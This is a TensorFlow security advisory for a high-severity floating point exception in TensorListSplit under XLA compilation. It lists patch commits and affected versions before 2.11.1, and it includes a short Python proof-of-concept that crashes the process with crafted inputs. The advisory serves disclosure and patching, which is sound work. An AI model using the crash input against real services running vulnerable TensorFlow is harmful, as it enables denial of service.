GHSA-647v-r7qq-24fhHighCVSS 7.5

TensorFlow has Floating Point Exception in TensorListSplit with XLA

Published
March 24, 2023
Last Modified
March 30, 2023

🔗 CVE IDs covered (1)

📋 Description

Impact

FPE in TensorListSplit with XLA

import tensorflow as tf

func = tf.raw_ops.TensorListSplit
para = {'tensor': [1], 'element_shape': -1, 'lengths': [0]}

@tf.function(jit_compile=True)
def fuzz_jit():
 y = func(**para)
 return y

print(fuzz_jit())

Patches

We have patched the issue in GitHub commit 728113a3be690facad6ce436660a0bc1858017fa.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by r3pwnx

🎯 Affected products3

  • pip/tensorflow:< 2.11.1
  • pip/tensorflow-cpu:< 2.11.1
  • pip/tensorflow-gpu:< 2.11.1

🔗 References (4)